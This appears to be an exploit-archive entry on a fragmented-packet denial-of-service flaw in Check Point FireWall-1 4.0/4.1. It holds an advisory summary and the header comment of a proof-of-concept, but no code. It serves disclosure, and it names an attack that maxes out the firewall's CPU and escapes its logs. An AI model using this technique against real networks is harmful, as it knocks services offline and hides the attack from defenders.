Check Point Software Firewall-1 4.0/1 4.1 - Fragmented Packets Denial of Service

// source: https://www.securityfocus.com/bid/1312/info

By sending illegally fragmented packets directly to or routed through Check Point FireWall-1, it is possible to force the firewall to use 100% of available processor time logging these packets. The FireWall-1 rulebase cannot prevent this attack and it is not logged in the firewall logs.

 * Description: This is the proof-of-concept code for the
 *              Windows denial-of-serice attack described by
 *              the Razor team (NTBugtraq, 19-May-00)
 *              (MS00-029).  This code causes cpu utilization
 *              to go to 100%.
 *
 * Tested against: Win98; NT4/SP5,6; Win2K
 *
 * Written for: My Linux box.  YMMV.  Deal with it.
 *
 * Thanks: This is standard code.  Ripped from lots of places.
 *         Insert your name here if you think you wrote some of
 *         it.  It's a trivial exploit, so I won't take credit
 *         for anything except putting this file together.
